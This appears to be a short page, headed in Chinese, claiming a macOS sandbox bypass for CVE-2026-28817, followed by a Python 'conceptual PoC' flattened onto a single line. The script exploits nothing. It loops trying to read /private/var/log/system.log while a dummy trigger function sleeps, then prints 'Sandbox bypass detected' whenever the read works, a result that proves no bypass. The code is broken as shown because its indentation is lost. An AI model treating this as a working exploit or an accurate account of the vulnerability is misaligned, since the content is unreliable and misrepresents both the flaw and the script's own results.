CVE-2026-28817 macOS沙箱绕过漏洞

import os import threading import time # Conceptual PoC for Race Condition in Sandbox State Handling # This script simulates a TOCTOU (Time-of-Check to Time-of-Use) race condition # attempting to access a protected resource before the sandbox restricts it. class SandboxEscapeExploit(threading.Thread): def __init__(self): super(SandboxEscapeExploit, self).__init__() self.running = True self.exploit_success = False def run(self): # Thread 1: Continuously check and attempt to access protected resource while self.running: try: # Simulate accessing a file that should be blocked by sandbox # In a real exploit, this would be a specific syscall sequence with open('/private/var/log/system.log', 'r') as f: content = f.read() if content: print("[+] Sandbox bypass detected! Read protected file.") self.exploit_success = True self.running = False break except PermissionError: # Expected if sandbox is working correctly pass except IOError: pass def stop(self): self.running = False def trigger_race_condition(): # Thread 2: Attempt to manipulate state or timing # This simulates the triggering of the race condition print("[*] Attempting to trigger race condition in state handling...") time.sleep(0.001) if __name__ == "__main__": print("[*] Starting CVE-2026-28817 PoC Simulation...") exploit_thread = SandboxEscapeExploit() exploit_thread.start() # Loop to trigger the race condition alongside the checking thread for _ in range(1000): trigger_race_condition() if not exploit_thread.running: break exploit_thread.stop() exploit_thread.join() if exploit_thread.exploit_success: print("[+] Exploit successful: Sandbox restrictions bypassed.") else: print("[-] Exploit failed: Sandbox held firm.")